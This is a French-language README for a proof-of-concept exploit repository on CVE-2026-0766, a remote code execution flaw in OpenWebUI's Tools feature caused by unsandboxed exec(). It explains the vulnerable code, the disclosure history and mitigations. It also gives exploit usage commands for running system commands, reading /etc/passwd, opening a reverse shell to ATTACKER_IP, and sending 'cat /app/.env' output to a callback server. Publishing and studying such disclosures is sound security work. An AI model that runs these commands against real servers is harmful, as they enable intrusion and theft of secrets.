
Preuve de concept d'exploitation pour CVE-2026-0766, une vulnérabilité d'exécution de code à distance dans OpenWebUI via l'injection de code d'outil. Inclut des modes d'exécution de commandes, de lecture de fichiers, de shell inversé et d'exfiltration aveugle.
Dépôt de recherche en sécurité à but éducatif
Ce dépôt contient un code de preuve de concept (PoC) pour l'exploitation de CVE-2026-0766, une vulnérabilité d'exécution de code à distance dans OpenWebUI, découverte et publiée par la Zero Day Initiative (ZDI).
Ce dépôt est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.
L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code. Les utilisateurs sont seuls responsables de veiller à ce que leurs activités soient conformes à toutes les lois et réglementations applicables.
| Propriété | Valeur |
|---|
| Identifiant CVE | CVE-2026-0766 |
| Découverte par | Zero Day Initiative (ZDI) |
| Logiciel concerné | OpenWebUI |
| Type de vulnérabilité | Injection de code (CWE-94) |
| Score CVSS | 8.8 ÉLEVÉ |
| Vecteur CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Complexité d'attaque | Faible (un administrateur authentifié ou un utilisateur disposant de la création/mise à jour d'outils peut exploiter) |
OpenWebUI est une interface web auto-hébergée pour les grands modèles de langage (LLM). Elle offre une expérience de type ChatGPT que les organisations peuvent exécuter sur leur propre infrastructure, en conservant les conversations et les données des LLM sur site.
OpenWebUI inclut une fonctionnalité « Outils » (Tools) qui permet aux utilisateurs d'étendre les capacités des LLM en soumettant du code Python. Ce code est exécuté côté serveur via la fonction exec() de Python sans aucun sandbox, validation ou contrôle de sécurité.
Déroulement de l'exploitation :
POST /api/v1/tools/createcontentexec(content, module.__dict__) dans utils/plugin.pyPoint clé : Le code s'exécute au moment de la création de l'outil, et non lorsque le LLM invoque l'outil. Cela signifie que la simple création d'un outil malveillant déclenche la RCE — aucune interaction supplémentaire n'est nécessaire.
Cette exploitation a été vérifiée sur :
La vulnérabilité est d'ordre architectural (utilisation non sécurisée de exec() sur une entrée utilisateur) et existe dans toutes les versions jusqu'à ce qu'un correctif de sécurité soit publié par l'équipe OpenWebUI.
La vulnérabilité se trouve dans backend/open_webui/utils/plugin.py :
def load_tool_module_by_id(tool_id: str, content: str):
# Prétraitement minimal (PAS un contrôle de sécurité)
content = replace_imports(content)
# Créer le module et exécuter le code utilisateur
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← VULNÉRABILITÉ
return module
La fonction replace_imports() ne fait que réécrire les chemins d'importation (cosmétique) — elle ne restreint pas le code pouvant s'exécuter. Il n'y a :
L'équipe OpenWebUI a initialement évalué cette vulnérabilité comme étant de priorité faible, notant que la création d'outils nécessite des permissions d'administrateur. Cependant :
Après que le fournisseur a proposé que les administrateurs gèrent cela avec un accès restreint, la ZDI a publié cette vulnérabilité en tant que 0-day (ZDI-26-032) pour informer les défenseurs.
L'auteur respecte les défis liés à la maintenance de projets open-source. Le correctif de sécurité nécessite d'équilibrer les besoins des utilisateurs, les contraintes architecturales et les ressources limitées. Cette publication vise à aider les équipes de sécurité à évaluer les risques et à mettre en œuvre des mesures d'atténuation.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
Le script d'exploitation (exploit.py) prend en charge plusieurs modes d'attaque :
Exécuter des commandes système et récupérer la sortie :
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
Lire des fichiers du système de fichiers du serveur :
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
Lancer un shell inversé (nécessite un écouteur netcat) :
# Sur la machine de l'attaquant :
nc -lvnp 4444
# Exécuter l'exploit :
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
Envoyer la sortie de commande à un serveur de rappel HTTP :
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
Le script accepte à la fois les jetons JWT (issus de la connexion SSO) et les clés API :
Obtenir un jeton JWT :
tokenAuthorization: Bearer ... de toute requête APIlocalStorage.getItem("token")--token eyJhbGci...Si vous exécutez OpenWebUI et ne pouvez pas appliquer immédiatement un correctif :
Remplacez exec() par une alternative sûre :
RestrictedPython pour une exécution en sandboxAjoutez des vérifications de permissions :
Défense en profondeur :
Licence MIT — Voir le fichier LICENSE pour plus de détails.
Ce code est fourni à des fins éducatives et de sécurité défensive. L'auteur n'est pas responsable d'une mauvaise utilisation.
Cette vulnérabilité a été divulguée de manière responsable :
Si vous découvrez des vulnérabilités de sécurité dans des projets open-source, veuillez suivre les pratiques de divulgation responsable et laisser aux mainteneurs le temps d'appliquer un correctif avant toute divulgation publique.
Pour toute question ou retour : Ouvrez un problème (issue) dans ce dépôt.